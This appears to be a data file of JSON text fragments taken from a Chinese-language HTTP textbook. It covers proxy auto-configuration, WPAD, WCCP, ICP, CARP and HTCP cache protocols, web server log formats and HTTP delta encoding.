    {"text": "这样一来，响应就会来自与 客户端请求资源的地址不同的另外一个地址，所以，我们还会讨论几种用于对等代 理 - 缓存重定向的协议：ICP、CARP 和 HTCP。"},
    {"text": "462 20.5.1 显式浏览器配置 大多数浏览器都可以配置为从代理服务器上获取内容——浏览器中有一个下拉菜单， 用户可以在这个菜单中输入代理的名字或 IP 地址以及端口号。"},
    {"text": "20.5.2 代理自动配置 显式配置浏览器使其联系特定的代理，这样会限制网络架构方面的变动，因为它是 靠用户来介入并重新配置浏览器的。 自动配置方式可以动态配置浏览器，连接到 正确的代理服务器，以解决这个问题。"},
    {"text": "PAC 是网景公司定义的，网景公司的 Navigator 和微软的 Inernet Explorer 浏览器都支持此协议。 PAC 的基本思想是让浏览器去获取一个称为 PAC 的特殊文件，这个文件说明了每 个 URL 所关联的代理。"},
    {"text": "重定向与负载均衡 ｜ 485 PAC 文件是个 JavaScript 文件，其中必须定义函数： function FindProxyForURL(url, host) 如下所示，浏览器要为请求的每条 URL 调用这个函数： return_value = FindProxyForURL(url_of_request, host_in_url); 其返回值为一个字符串，用来说明浏览器应该到哪里请求这个 URL。"},
    {"text": "返回值可以是 所关联的代理名称列表（比如， PROXY proxy1.domain.com，PROXY proxy2. domain.com），或者是字符串 \"DIRECT\"，这个字符串说明浏览器应该绕开所有的 代理，直接连接原始服务器。"},
    {"text": "JavaScript 程 序 中 有 一 个 FindProxyForURL 函 数， 用 来 告 知 浏 览 器， 如 果 所 请 求 的 URL 的 主 机 位 于 netscape.com 域中，就直接与原始服务器联系，所有其他请求都连接到 proxy1.joes- cache.com。"},
    {"text": "PAC服务器 HTTP/1.0 200 OK Content-type: application/x-ns-proxy-autoconfig Content-length: 176 function FindProxyForURL(url,host) { if (dnsDomain(host,\".netscape.com\") return \"DIRECT\"; 浏览器 else return \"PROXY proxy1.joes-cache.com:8080; DIRECT\"; } 发往netscape.com域的请 如果代理可用，就直接 求会直接发送给服务器。"},
    {"text": "代理1 图 20-10 代理自动配置 486 ｜ 第 20 章 PAC 协议是相当强大的：JavaScript 程序可以请求浏览器根据大量与主机名相关的 参数来选择代理，比如 DNS 地址和子网，甚至星期几或具体时间。 只要服务器中的 PAC 文件保持更新，能反映代理位置的变化，PAC 就允许浏览器根据网络结构的变 化自动与合适的代理进行联系。 PAC 存在的主要问题是必须要对浏览器进行配置， 让它知道要从哪个服务器获取 PAC 文件，因此它就是一个全自动配置的系统。"},
    {"text": "20.5.3 Web代理自动发现协议 WPAD（Web 代理自动发现协议）的目标是在不要求终端用户手工配置代理设置， 而且不依赖透明流量拦截的情况下，为 Web 浏览器提供一种发现并使用附近代理的 464 方式。"},
    {"text": "1. PAC文件自动发现 WPAD 允许 HTTP 客户端定位一个 PAC 文件，并使用这个 PAC 文件找到适当的代 理服务器的名字。 WPAD 不能直接确定代理服务器的名字，因为这样就无法使用 PAC 文件提供的附加功能了（负载均衡，请求路由到一组服务器上去，故障时自动 转移到备用代理服务器等）。 如图 20-11 所示，WPAD 协议发现了 PAC 文件 URL，这个 URL 也被称为配置 URL （CURL）。"},
    {"text": "重定向与负载均衡 ｜ 487 （b）获取PAC文件 因特网 PAC服务器 代理 原始服务器 （a）WPAD （c）通过代理 发现 访问服务器 HTTP客户端 图 20-11 WPAD 确定了 PAC URL，这个 PAC 文件确定了代理服务器 2. WPAD算法 WPAD 使用了一系列资源发现技术来确定适当的 PAC 文件 CURL。"},
    {"text": "• 用 QNAME=wpad.development.foo.com 进行 DNS A 查找； • 用 QNAME=wpad.development.foo.com 进行 DNS SRV 查找； • 用 QNAME=wpad.development.foo.com 进行 DNS TXT 查找； • 用 QNAME=wpad.foo.com 进行 DNS A 查找； • 用 QNAME=wpad.foo.com 进行 DNS SRV 查找； • 用 QNAME=wpad.foo.com 进行 DNS TXT 查找。"},
    {"text": "3. 用DHCP进行CURL发现 要使用这种机制，就必须将 CURL 存储在 WPAD 客户端可以查询的 DHCP 服务器 上。 WPAD 客户端可以通过向 DHCP 服务器发送 DHCP 查询来获取 CURL。 （如果 DHCP 服务器中配置了这种信息，）就可以在 DHCP 可选代码 252 中获取 CURL。"},
    {"text": "比如： \"http://server.domain/proxyconfig.pac\" 重定向与负载均衡 ｜ 489 4. DNS A记录查找 要让这种机制工作，就必须将合适的代理服务器的 IP 地址存储在 WPAD 客户端可 以查询的 DNS 服务器上。"},
    {"text": "而且，客户端还必须根 据 HTTP 的过期时间，为之前下载的 PAC 文件的过期时间尝试一个发现周期。 PAC 文件过期时，客户端遵循过期时间，重新运行 WPAD 过程是很重要的。"},
    {"text": "如果 PAC 文件没有提供替换方案，在当前配置的代理失效的情况下，客户端还可以 选择重新运行 WPAD 过程。 只要客户端决定使当前的 PAC 文件失效，就必须重新运行整个 WPAD 协议，以确 490 ｜ 第 20 章 保它会发现当前正确的 CURL。"},
    {"text": "在很多环 境中，都会有多个代理服务器（工作组、公司网关、ISP、骨干网等）。 在 WPAD 框架结构中，可以在很多地方确定代理服务器是否“邻近”。"},
    {"text": "• 可以对 DNS 服务器进行配置，使其为不同的域名后缀（比如，QNAME wpad. marketing.bigcorp.com 和 wpad.development.bigcorp.com） 返 回 不 同 的 SRV/A/ TXT 资源记录（RR）。"},
    {"text": "重定向与负载均衡 ｜ 491 • 处理 CURL 请求的 Web 服务器会根据 User-Agent 首部、Accept 首部、客户 端 IP 地址 / 子网 / 主机名、附近代理服务器的拓扑分布等作出决定。"},
    {"text": "PAC 文件可以计算出到一组候选代 理服务器的网络距离（或其他合理的度量方式），并选择“最近”或“响应最积极” 的服务器，这并不是什么不可思议的事情。"},
    {"text": "这些技术要尽量做到可靠、高效且能感知内容——这样可以将请求分配到可 469 能包含特定内容的位置上去，因此比前面讨论过的那些协议更复杂。"},
    {"text": "WCCP重定向 Cisco 系统公司开发的 WCCP 可以使路由器将 Web 流量重定向到代理缓存中去。 WCCP 负责路由器和缓存服务器之间的通信，这样路由器就可以对缓存进行验证 （确保它们已启动且正在运行），在缓存之间进行负载均衡，并将特定类型的流量发 送给特定的缓存了。"},
    {"text": "• 启动包含了一些支持 WCCP 的路由器和缓存的网络，这些路由器和缓存之间可 以相互通信。 • 一组路由器及其目标缓存构成一个 WCCP 服务组。"},
    {"text": "• 如果服务组配置为重定向 HTTP 流量，服务组中的路由器就会将 HTTP 请求发送 给服务组中的缓存。 • HTTP 请求抵达服务组中的路由器时，路由器会（根据对请求 IP 地址的散列，或 者“掩码 / 值”的配对策略）选择服务组中的某个缓存为请求提供服务。 492 ｜ 第 20 章 • 路由器向缓存发送请求分组，可以用缓存的 IP 地址来封装分组，也可以通过 IP MAC 转发来实现。 • 如果缓存无法为请求提供服务，就将分组返回给路由器进行普通的转发。"},
    {"text": "可以通过这些 报文与发送 WCCP2_I_SEE_YOU 报文的路 由器进行沟通 WCCP2_I_SEE_YOU 从路由器发送给缓存 这些报文是对 WCCP2_HERE_I_AM 报文的 响应。 可以通过这些报文对分组转发方式、 分配方法（哪个是指定的缓存）、分组返回 方法和安全性进行沟通 470 WCCP2_REDIRECT_ASSIGN 从 指 定 的 缓 存 发 送 给 路 这些报文为负载均衡分配任务，它们可以为 由器 散列表负载均衡发送桶信息，或为“掩码 / 值”负载均衡发送“掩码 / 值”组对信息 WCCP2_REMOVAL_QUERY 从路由器发送给在 2.5× 如 果 路 由 器 没 有 周 期 性 地 收 到 WCCP2_ HERE_I_AM_T 秒内没有 HERE_I_AM 报 文， 路 由 器 就 会 发 送 此 报 发 送 过 WCCP2_HERE_ 文，以查看是否应该将这个缓存从服务组中 I_AM 报文的缓存 删除掉。 来自缓存的正确响应为三条完全相 同的 WCCP2_HERE_I_AM 报文，中间间隔 HERE_I_AM_T/10 秒 WCCP2_HERE_I_AM 的报文格式为： WCCP Message Header Security Info Component Service Info Component Web-cache Identity Info Component Web-cache View Info Component Capability Info Component ( 可选 ) Command Extension Component ( 可选 ) WCCP2_I_SEE_YOU 的报文格式为： WCCP Message Header Security Info Component 重定向与负载均衡 ｜ 493 Service Info Component Router Identity Info Component Router View Info Component Capability Info Component ( 可选 ) Command Extension Component ( 可选 ) WCCP2_REDIRECT_ASSIGN 的报文格式为： WCCP Message Header Security Info Component Service Info Component Assignment Info Component, or Alternate Assignment Component WCCP2_REMOVAL_QUERY 的报文格式为： WCCP Message Header Security Info Component Service Info Component Router Query Info Component 3. 报文组件 每条 WCCP2 报文都由一个首部和一些组件构成。"},
    {"text": "服务类型 ID 可以使用两个值： WCCP2_SERVICE_STANDARD (0) WCCP2_SERVICE_DYNAMIC (1) 如果服务类型是标准的（STANDARD），服务就是完全由服务 ID 定义的知名服务。"},
    {"text": "如果服务类型是动态的（DYNAMIC），就由下列设置来定 义服务：优先级、协议、服务标记（决定是否散列）以及端口 路由器身份信息 包含路由器的 IP 地址和 ID，并（通过 IP 地址）列出了路由器想要通信的所有 Web 缓存 494 ｜ 第 20 章 （续） 组 件 描 述 Web 缓存身份信息 包含了 Web 高速缓存的 IP 地址和重定向散列表映射 路由器视图信息 包含了路由器的服务组视图（路由器和缓存的身份） Web 缓存视图信息 包含了 Web 缓存的服务组视图 分配信息 显示了如何将 Web 缓存分配到特定的散列桶中去 路由器查询信息 包含了路由器的 IP 地址、所要查询的 Web 缓存的地址以及服务组中最近从 Web 缓存中收到 Here I Am 报文的路由器 ID 能力信息 那些需要广告所支持的分组转发方式、负载均衡和分组返回方式的路由器会使用 此信息。 那些要让路由器知道它希望使用哪种方法的 Web 缓存也会使用此信息 替换分配 包含了负载均衡的散列表分配信息 分配图 包含了服务组的“掩码 / 值”设置元素 命令扩展 Web 缓存用它来告诉路由器它们正在关机。 路由器用它来确认缓存是否关闭 4. 服务组 服务组（service group）由一组支持 WCCP 的路由器和缓存组成，它们之间可以交 换 WCCP 报文。 路由器会向服务组中的缓存发送 Web 流量。"},
    {"text": "5. GRE分组封装 支持 WCCP 的路由器会用服务器的 IP 地址将 HTTP 分组封装起来，将其重定向到 特定的服务器上去。 分组封装中还包含了 IP 首部的 proto 字段，用来说明通用路 由器封装（GRE）。"},
    {"text": "472 发往代理 Proto:GRE 3.3.3.3 8080 来自：客户端 来自：客户端： 1.1.1.1 1.1.1.1 80 穿过WCCP路由器 发往：Joe的服务器 80 发往：Joe的服务器 2.2.2.2 2.2.2.2 80 80 HTTP数据 HTTP数据 图 20-12 WCCP 路由器如何修改 HTTP 分组的目的 IP 地址 重定向与负载均衡 ｜ 495 6. WCCP的负载均衡 除了路由功能之外，WCCP 路由器还可以在几个接收服务器之间进行负载均衡。"},
    {"text": "WCCP 路由器及其接收服务器会交换心跳报文（heartbeat message），以便相互通知 自己处于启动运行状态。 如果某特定接收服务器停止发送心跳报文，WCCP 路由器 就会将请求流量直接发送到因特网上，而不会将其重定向给那个节点。 节点重新提 供服务时，WCCP 路由器会再次开始接收心跳报文，并继续向节点发送请求流量。"},
    {"text": "如果某个缓存中 没有 HTTP 报文所请求的内容，它可以查明内容是否在附近的兄弟缓存中，如果在， 就从那里获取内容，以避免查询原始服务器而带来的更多开销。"},
    {"text": "• Opcode（操作码） Opcode 是个 8 位的二进制值，用以描述 ICP 报文的含义。 基本的 opcode 包括 ICP_OP_QUERY 请求报文和 ICP_OP_HIT 和 ICP_OP_MISS 响应报文。"},
    {"text": "对 ICP_OP_QUERY 来说，净荷是一个 4 字节的原始请求端主机地址，后面跟着一个由 NUL 结尾的 URL。 对 ICP_OP_ HIT_OBJ 来说，净荷是一个由 NUL 结尾的 URL，后面跟着一个 16 位的对象长 度，接着是对象数据。"},
    {"text": "CARP（缓存阵列路由协议）是微软公司和网景公司提出的一个标准，通过这个协 议来管理一组代理服务器，使这组代理服务器对用户来说就像一个逻辑缓存一样。"},
    {"text": "命中或未命中应答 （时间 n +1） 兄弟代理 ） n 如果兄弟代理都返回未命中， 就去轮询该代理的上一级代理 轮询（时间 客户端请求 请求（时间 n +2） 因特网 浏览器 缓存代理 父代理 轮询（时间 n ） 命中或未命中应答 （时间 n +1） 兄弟代理 图 20-13 ICP 查询 475 注意，通过 ICP 协议连接起来的每个代理服务器都是将内容进行了冗余镜像的独立 缓存服务器，这就说明在不同的代理服务器之间复制 Web 对象条目是可行的。"},
    {"text": "498 ｜ 第 20 章 兄弟代理 客户端请求 请求（时间 n +2） 因特网 浏览器 缓存代理 （时间 父代理 用来确定应该联系哪个 n ） 兄弟代理缓存的散列函数 响应（时 间 n +1） 兄弟代理 图 20-14 CARP 重定向 如图 20-14 所示，作为客户端和代理服务器中间人的缓存代理可以在各个代理服务 器之间分配负载，但这项功能也可以由客户端自身提供。"},
    {"text": "所使用的散列函数必须能够确保 Web 对象在参与的代理服务器间是统计分布的。 应 该用代理服务器的负载因子来确定分配给那台代理的 Web 对象的统计概率。"},
    {"text": "CARP 还可以避免在不同的代理服务器上存储 Web 对象的多个副本的问题，这样做的优点是缓存系统集群的 Web 对象存储容量较大， 缺点是任意一个代理的故障都要改写现存代理的部分缓存内容。"},
    {"text": "HTCP（超文本缓存协议）允许兄弟缓存之间通过 URL 和所有的请求及响应首部 来相互查询文档是否存在，以降低错误命中的可能。 而且 HTCP 允许兄弟缓存监 视或请求在对方的缓存中添加或删除所选中的文档，并修改对方已缓存文档的缓存 策略。"},
    {"text": "0 31 报文长度 主要版本 次要版本 数据长度 Opcode 响应代码 保留 F1 RR 事务ID Opcode数据 认证部分长度 签名时间 签名时间 签名过期时间 签名过期时间 密钥名称 密钥名称 签名 图 20-15 HTCP 报文格式 报文字段的详细内容如下所述。"},
    {"text": "478 重定向与负载均衡 ｜ 501 表20-6 HTCP数据组件 组 件 描 述 数据长度 16 位的 Data 部分字节数，包含 Length 字段自身的长度 Opcode HTCP 事务的 4 位操作代码。"},
    {"text": "F1 F1 是重载的——如果报文是一条请求，F1 就是请求端设置的 1 位标记，说明需要响 应（F1=1）； 如果报文是一条响应，F1 就是一个 1 位标记，用来说明应该将响应作 为对整条报文的响应来解释（F1=1），还是将其作为对 Opcode 数据字段的响应来解 释（F1=0） RR 用来说明报文是请求（RR=0）还是响应（RR=1）的 1 位标记 事务 ID 32 位的值，与请求端的网络地址组合在一起可以唯一地标识 HTCP 事务 479 Opcode 数据 Opcode 数据与 Opcode 有关。"},
    {"text": "表20-7 HTCP Opcode Opcode 值 描 述 响应代码 Opcode数据 NOP 0 本质上是一个 ping 操作 总是 0 无 TST 1 如果有实体，就为 0，如果没 在请求中包含 URL 和 有提供实体，就为 1 请 求 首 部， 在 响 应 中 只包含响应首部 MON 2 接受就为 0，拒绝就为 1 SET 3 SET 报文允许缓存请求修改 接受就为 0，忽略就为 1 缓 存 策 略。"},
    {"text": "502 ｜ 第 20 章 表20-8 HTCP认证组件 组 件 描 述 认证部分长度 16 位的报文认证部分字节数，包含了长度字段自身的长度 签名时间 32 位数，表示从格林尼治标准时间 1970 年 1 月 1 日 00:00:00 开始，到产生签名的 时间之间的秒数 签名过期时间 32 位数，表示从格林尼治标准时间 1970 年 1 月 1 日 00:00:00 开始，到签名过期时 所经历的秒数 密钥名称 用来表示共享密钥名称的字符串。 密钥字段有两个部分：用来说明后面那个字符串 长度的 16 位的字节数，后面跟着的字符串是未经解释的字节流 签名 HMAC-MD5 摘要，它是 B 值为 64（表示源 IP 地址和目的 IP 地址及端口）、报文 的主要及次要 HTCP 版本、签名时间和签名过期值，完整的 HTCP 数据以及密钥的 摘要。"},
    {"text": "签名也包含两个部分：16 位长的字符串字节数，后面跟着这个字符串 20.9.2 设置缓存策略 SET 报文允许缓存请求对已缓存文档的缓存策略进行修改。"},
    {"text": "480 表20-9 修改缓存策略的缓存首部列表 首 部 描 述 Cache-Vary 请求端已经知道内容会随一组首部的变化而变化，这组首部与响应 Vary 首部 中的那一组不同。 这个首部会覆盖响应的 Vary 首部 Cache-Location 可能有此对象副本的代理缓存的列表 Cache-Policy 关于此对象的缓存策略，请求端已经了解到的比响应首部中指定的更详细。"},
    {"text": "no-cache- cookie，说明内容可能会随 cookie 而发生变化，不推荐缓存 Cache-Flags 请求端修改了对象的缓存策略，可能要对它进行特别的处理，不一定要根据其 实际的策略进行处理 Cache-Expiry 发送端了解到的文档实际过期时间 Cache-MD5 请求端计算出来的对象的 MD5 校验和，可能与 Content-MD5 首部的值有所不 同，也可能在对象没有 Content-MD5 首部的情况下提供 Cache-to-Origin 请求端测量的到原始服务器的往返时间。"},
    {"text": "此首部值的格式为 < 原始服务器名称 或 IP 地址 >< 以秒为单位的平均往返时间 >< 采样数 >< 请求端和原始服务器之 间的路由器跳数 > HTCP 允许通过查询报文将请求和响应首部发送给兄弟缓存，这样可以降低缓存查 询中的错误命中率。"},
    {"text": "• http://home.netscape.com/eng/mozilla/2.0/relnotes/demo/proxy-live.html “Navigator Proxy Auto-Config File Format”（“Navigator 代理自动配置文件格式”）。"},
    {"text": "• http://www.ietf.org/rfc/rfc2186.txt IETF RFC 2186，“Intercache Communication Protocol (ICP) Version2”（“缓存间 的通信协议，版本 2”），D. Wessels 和 K. Claffy 编写。"},
    {"text": "• http://www.ietf.org/rfc/rfc2756.txt 481 IETF RFC 2756，“Hyper Text Caching Protocol(HTCP/0.0)”（“超文本缓存协议 （HTCP/0.0）”），P. Vixie 和 D. Wessels 编写。"},
    {"text": "• http://www.ietf.org/internet-drafts/draft-wilson-wrec-wccp-v2-00.txt “Web Cache Communication Protocol v2.0”（“Web 缓存通信协议 v2.0”），M. Cieslak、 D. Forster、G. Tiwana 和 R. Wilson 编写。"},
    {"text": "• http://www.ietf.org/rfc/rfc2608.txt?number=2608 “Service Location Protocol,Version2”（“服务定位协议，版本 2”）。 • http://www.ietf.org/rfc/rfc2219.txt?number=2219 482 “Use of DNS Aliases for Network Services”（“为网络服务使用 DNS 别名”）。"},
    {"text": "21.1 记录内容 大多数情况下，日志的记录出于两种原因：查找服务器或代理中存在的问题（比如， 哪些请求失败了），或者是生成 Web 站点访问方式的统计信息。"},
    {"text": "大部分 商用和开源的 HTTP 应用程序都支持以一种或多种常用格式进行日志记录。 很多这 样的应用程序都支持管理者配置日志格式，创建自定义的格式。 应用程序支持管理者使用这些更标准的格式的主要好处之一就在于，可以充分利用 那些已构建好的工具处理这些日志，并产生基本的统计信息。"},
    {"text": "表21-1 常用日志格式字段 字 段 描 述 remotehost 请求端机器的主机名或 IP 地址（如果没有配置服务器去执行反向 DNS 或无 法查找请求端的主机名，就使用 IP 地址） username 如果执行了 ident 查找，就是请求端已认证的用户名 a 484 auth-username 如果进行了认证，就是请求端已认证的用户名 timestamp 请求的日期和时间 request-line 精确的 HTTP 请求行文本， GET /index.html HTTP/1.1 response-code 响应中返回的 HTTP 状态码 response-size 响应主体中的 Content-Length，如果响应中没有返回主体，就记录 0 a：RFC 931 描述了在此认证中使用的 ident 查找。"},
    {"text": "例 21-1 常见日志格式 209.1.32.44 - - [03/Oct/1999:14:16:00 -0400] \"GET / HTTP/1.0\" 200 1024 http-guide.com - dg [03/Oct/1999:14:16:32 -0400] \"GET / HTTP/1.0\" 200 477 http-guide.com - dg [03/Oct/1999:14:16:32 -0400] \"GET /foo HTTP/1.0\" 404 0 在这些例子中，字段的分配如下所示。 日志记录与使用情况跟踪 ｜ 507 字段1 条目1 条目2 条目2 remotehost 209.1.32.44 http-guide.com http-guide.com username < 空 > < 空 > < 空 > auth-username < 空 > dg dg timestamp 03/Oct/1999:14:16:00 -0400 03/Oct/1999:14:16:32 -0400 03/Oct/1999:14:16:32 -0400 request-line GET / HTTP/1.0 GET / HTTP/1.0 GET /foo HTTP/1.0 response-code 200 200 404 response-size 1024 477 0 注意，remotehost 字段可以是 http-guide.com 那样的主机名，也可以是 209.1.32.44 这样的 IP 地址。"},
    {"text": "第二个（username）和第三个（auth-username）字段之间的破折号说明字段为空。 这说明要么是没有进行 ident 查找（第二个字段为空），要么是没有进行认证（第三 个字段为空）。"},
    {"text": "表21-2 新加的组合日志格式字段 字 段 描 述 Referer Referer 首部的内容 User-Agent User-Agent 首部的内容 例 21-2 给出了一个组合日志格式的条目。 例 21-2 组合日志格式 209.1.32.44 - - [03/Oct/1999:14:16:00 -0400] \"GET / HTTP/1.0\" 200 1024 \"http://www.joes-hardware.com/\" \"5.0: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\" 在例 21-2 中，Referer 字段和 User-Agent 字段的值如下所示。 字 段 值 Referer http://www.joes-hardware.com/ User-Agent 5.0: Mozilla/4.0（兼容的，MSIE 5.0，Windows 98） 508 ｜ 第 21 章 例 21-2 的组合日志格式条目示例中的前七个字段和常用日志格式中的完全一样（参 见例 21-1 中的第一个条目）。"},
    {"text": "21.2.3 网景扩展日志格式 网景进入商用 HTTP 应用程序领域时，为其服务器定义了很多其他 HTTP 应用程 序开发者已接纳的日志格式。 网景的格式是基于 NCSA 的常用日志格式的，但它 们扩展了该格式，以支持与代理和 Web 缓存这样的 HTTP 应用程序相关的字段。"},
    {"text": "表21-3 网景扩展日志格式新加的字段 字 段 描 述 proxy-response-code 如果事务处理经过了某个代理，就是从服务器传往代理的 HTTP 响应码 proxy-response-size 如果事务处理经过了某个代理，就是发送给代理的服务器响应实体的 Content-Length client-request-size 发给代理的客户端请求的所有主体或实体的 Content-Length proxy-request-size 如果事务处理经过了某个代理，就是代理发往服务器的请求的所有主体 或实体的 Content-Length client-request-hdr-size 以字节为单位的客户端请求首部的长度 proxy-response-hdr-size 如果事务处理经过了某个代理，就是以字节为单位的、发送给请求端的 486 代理响应首部的长度 proxy-request-hdr-size 如果事务处理经过了某个代理，就是以字节为单位的、发送给服务器的 代理请求首部的长度 server-response-hdr-size 以字节为单位的，服务器响应首部的长度 proxy-timestamp 如果事务处理经过了某个代理，就是请求和响应经过代理传输所经过的 时间（单位为秒） 例 21-3 给出了一个网景扩展日志格式的条目。 例 21-3 网景扩展日志格式 209.1.32.44 - - [03/Oct/1999:14:16:00-0400] \"GET / HTTP/1.0\" 200 1024 200 1024 0 0 215 260 279 254 3 在这个例子中，扩展字段的值如下所示。 日志记录与使用情况跟踪 ｜ 509 字 段 值 proxy-response-code 200 proxy-response-size 1024 client-request-size 0 proxy-request-size 0 client-request-hdr-size 215 proxy-response-hdr-size 260 proxy-request-hdr-size 279 server-response-hdr-size 254 proxy-timestamp 3 例 21-3 中网景扩展日志格式条目示例中的前 7 个字段是常用日志格式条目示例的镜 像（参见例 21-1 中的第一个条目）。 21.2.4 网景扩展2日志格式 另一种网景日志格式，网景扩展 2 日志格式采用了扩展日志格式，并添加了一些与 HTTP 代理和 Web 缓存应用程序有关的附加信息。"},
    {"text": "网景扩展 2 日志格式是基于网景扩展日志格式的，初始字段与表 21-3 中列出的字段 487 完全相同（它也是表 21-1 中常用日志格式字段的扩展）。"},
    {"text": "表21-4 附加的网景扩展2日志格式字段 字 段 描 述 route 代理用来向客户端发送请求的路径（参见表 21-5） client-finish-status-code 客户端完成状态码。"},
    {"text": "说明了发送给代理的客户端请求是成功完成（FIN） 了，还是被打断了（INTR） proxy-finish-status-code 代理完成状态码。 说明代理发送给服务器的请求是成功完成（FIN）了， 还是被打断了（INTR） cache-result-code 缓存结果代码；"},
    {"text": "例 21-4 给出了一个网景扩展 2 日志格式的条目。 例 21-4 网景扩展 2 日志格式 209.1.32.44 - - [03/Oct/1999:14:16:00-0400] \"GET / HTTP/1.0\" 200 1024 200 1024 0 0 215 260 510 ｜ 第 21 章 279 254 3 DIRECT FIN FIN WRITTEN 这个例子中扩展字段的值如下所示。 字 段 值 route DIRECT client-finish-status-code FIN proxy-finish-status-code FIN cache-result-code WRITTEN 例 21-4 的网景扩展 2 日志格式条目中的前 16 个字段就是网景扩展日志格式示例条 目的镜像（参见例 21-3）。"},
    {"text": "表21-5 网景路由代码 值 描 述 DIRECT 资源是直接从服务器上获取的 PROXY(host:port) 资源是通过代理“host:port”获取的 SOCKS(socks:port) 资源是通过 SOCKS 服务器“host:port”获取的 表 21-6 列出了有效的网景完成代码。"},
    {"text": "表21-6 网景完成状态码 值 描 述 - 请求未开始 FIN 请求成功完成 INTR 请求被客户端中断或被代理 / 服务器终止 488 TIMEOUT 请求被代理 / 服务器超时 表 21-7 列出了有效的网景缓存代码。"},
    {"text": "1 表21-7 网景缓存代码 代 码 描 述 - 资源不可缓存 WRITTEN 资源被写入了缓存 REFRESHED 资源被缓存，且被刷新了 NO-CHECK 返回已缓存的资源，未进行新鲜性检查 注 1：表 21-7 列出了网景缓存结果代码。"},
    {"text": "比如，出现了超时，或客户端放弃了此事务 与很多其他 HTTP 应用程序一样，网景应用程序也有其他的日志格式，包括一种灵 活日志格式和一种管理者输出自定义日志字段的方式。"},
    {"text": "有很多工具可以用来辅助管理 Squid 应用程序，包括一些有助于处理、审核及开发 其日志的工具。 很多后继代理缓存都为自己的日志使用了 Squid 格式，这样才能更 489 好地利用这些工具。"},
    {"text": "表21-8 Squid日志格式字段 字 段 描 述 timestamp 请求到达时的时间戳，是从格林尼治标准时间 1970 年 1 月 1 日开始的秒数 time-elapsed 请求和响应通过代理传输所经历的时间（以毫秒为单位） host-ip 客户端（请求端）主机的 IP 地址 result-code/status result 字段是 Squid 类型的，用来说明在此请求过程中代理采取了什么动作；"},
    {"text": "a code 字段是代理发送给客户端的 HTTP 响应代码 size 代理响应客户端的字节长度，包括 HTTP 响应首部和主体 method 客户端请求的 HTTP 方法 a：表 21-9 列出了各种结果代码及其含义。"},
    {"text": "512 ｜ 第 21 章 （续） 字 段 描 述 url 客户端请求中的 URLb rfc931-identc 客户端经过认证的用户名 d hierarchy/from 与网景格式中的 route 字段一样，hierarchy 字段说明了代理向客户端发送请求 时经由的路径。"},
    {"text": "efrom 字段说明了代理用来发起请求的服务器的名称 content-type 代理响应实体的 Content-Type b： 回顾第 2 章，代理通常会记录下整条请求 URL，这样如果 URL 中有用户和密码组件，代理就会在不 经意间记录下此信息。"},
    {"text": "例 21-5 Squid 日志格式 99823414 3001 209.1.32.44 TCP_MISS/200 4087 GET http://www.joes- hardware.com - DIRECT/ proxy.com text/html 这些字段的值如下所示。 字 段 值 timestamp 99823414 time-elapsed 3001 host-ip 209.1.32.44 action-code TCP_MISS status 200 size 4087 method GET URL http://www.joes-hardware.com 490 RFC 931 ident - hierarchy DIRECTa from proxy.com content-type text/html a：DIRECT Squid hierarchy 值与网景日志格式中的 DIRECT route 值一样。"},
    {"text": "日志记录与使用情况跟踪 ｜ 513 表21-9 Squid结果代码 行 为 描 述 TCP_HIT 资源的有效副本是由缓存提供的 TCP_MISS 资源不在缓存中 TCP_REFRESH_HIT 资源在缓存中，但需要进行新鲜性检查。 代理与服务器再次验证了资源， 发现缓存中的副本确实还是新鲜的 TCP_REF_FAIL_HIT 资源在缓存中，但需要进行新鲜性检查。 但再验证失败了（可能是代理无 法连接到服务器），因此返回的是“过期”的资源 TCP_REFRESH_MISS 资源在缓存中，但需要进行新鲜性检查。"},
    {"text": "GET /bigfile.html HTTP.1.1 2001 If-None-Match: abcdefghi09876AF 年2月2日星期二 A-IM: diffe 上午3时03分的页面 Date: Tue, 02 Feb 2001 03:03:00 GMT Hello,welcome to Joe’s Hardware store. 差异 Today’s special is on chisels. 5c. chisels. 客户端收到差异并将 . 其应用到自己缓存的 差异响应报文 页面版本上，生成了 差异生成器 HTTP/1.1 226 IM Used 页面的最新版本。"},
    {"text": "Delta-base: abcdefghi09876AF ... 差异应用器 Hello, welcome to Joe’s Hardware store.Today’s special is on chisels. 图 15-10 差异编码的结构 实体和编码 ｜ 383 表15-5 差异编码所用的首部 首 部 描 述 ETag 文档每个实例的唯一标识符。"},
    {"text": "客户端在后继请求的 If-Match 首部和 If-None-Match 首部中可以使用它 If-None-Match 客户端发送的请求首部，当且仅当客户端的文档版本与服务器不同时，才向服务 器请求该文档 A-IM 客户端请求首部，说明可以接受的实例操控类型 IM 服务器响应首部，说明作用在响应上的实例操控的类型。 当响应代码是 226 IM Used 时，会发送这个首部 Delta-Base 服务器响应首部，说明用于计算差异的基线文档的 ETag 值（应当与客户端请求 中的 If-None-Match 首部里的 ETag 相同） 实例操控、差异生成器和差异应用器 客户端可以使用 A-IM 首部说明可以接受的一些实例操控的类型。"},
    {"text": "表 15-6 在IANA注册的实例操控类型 类 型 说 明 vcdiff 用 vcdiff 算法计算差异 a diffe 用 Unix 系统的 diff-e 命令计算差异 367 gdiff 用 gdiff 算法计算差异 b gzip 用 gzip 算法压缩 deflate 用 deflate 算法压缩 range 用在服务器的响应中，说明响应是针对范围选择得到的部分内容 identity 用在客户端请求中的 A-IM 首部中，说明客户端愿意接受恒等实例操控 a： 因特网草案 draft-korn-vcdiff-01 中描述了 vcdiff 算法。"},
    {"text": "图 15-10 中，服务器侧的“差异生成器”根据基线文档和该文档的最新实例，用客 户端在 A-IM 首部中指明的算法计算它们之间的差异。 客户端侧的“差异应用器” 得到差异，将其应用于基线文档，得到文档的最新实例。"},
    {"text": "例如，如果产生差异的算 法是 Unix 系统的 diff-e 命令，客户端就可以用 Unix 系统中的文本编辑器 ed 提供的 功能来应用差异， 因为 diff-e <file1> <file2> 产生了一系列 ed 命令来把 <file1> 384 ｜ 第 15 章 转化为 <file2>。"},
    {"text": "• http://www.ietf.org/rfc/rfc3229.txt RFC 3229，“Delta Encoding in HTTP”（“HTTP 中的差异编码”），说明了如何通 过扩展 HTTP/1.1 来支持差异编码。"},
    {"text": "（编者注） 实体和编码 ｜ 385 • http://www.ietf.org/rfc/rfc1521.txt RFC 1521，“Multipurpose Internet Mail Extensions, Part One: Mechanisms for Specifying and Describing the Format of Internet Message Bodies”（“ 多 用 途 因 特网邮件扩展，第一部分：规定和描述因特网报文主体格式的机制”），描述了 MIME 主体的格式。"},
